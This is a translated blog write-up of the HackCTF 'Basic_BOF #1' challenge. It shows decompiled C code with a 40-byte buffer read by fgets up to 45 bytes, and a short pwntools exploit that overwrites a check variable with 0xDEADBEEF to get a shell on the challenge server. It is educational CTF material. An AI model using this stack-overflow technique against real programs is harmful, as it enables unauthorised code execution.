HackCTF Basic_BOF #1 write-up

Site: https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#1

---

I haven't written on the blog much lately, but I'm writing once more,,,

Programs used: ida7.5 pro, python 3.8.10, Ubuntu 20.04.3 LTS

CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [esp+4h] [ebp-34h] BYREF
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 0x4030201;
  fgets(s, 45, stdin);
  printf("\n[buf]: %s\n", s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

This is the code that appears when you download the problem from the site above and decompile it with IDA.

The goal must be to run system("/bin/dash")..

The place we input is s, and s's range is 40. But fgets receives up to 45. This is where BOF triggers.

For now it seems v5 just needs to be 0xDEADBEEF. It seems like a problem that dummy[40] + 0xDEADBEEF will solve.

Source code

See more

Exploit

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3000)

v5 = p32(0xDEADBEEF)

payload = b''
payload += b'A'*40 + v5

p.send(payload)
p.interactive()

[Hacking/System hacking] - [System hacking] Buffer Overflow (BOF)

[[System hacking] Buffer Overflow (BOF)

BUFFER OVERFLOW BOF is a vulnerability that occurs when you can receive input larger than the set buffer size. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com

---

Original (Korean): tistory — published 2021-09-09, migrated to this blog. This translation was generated with the help of AI.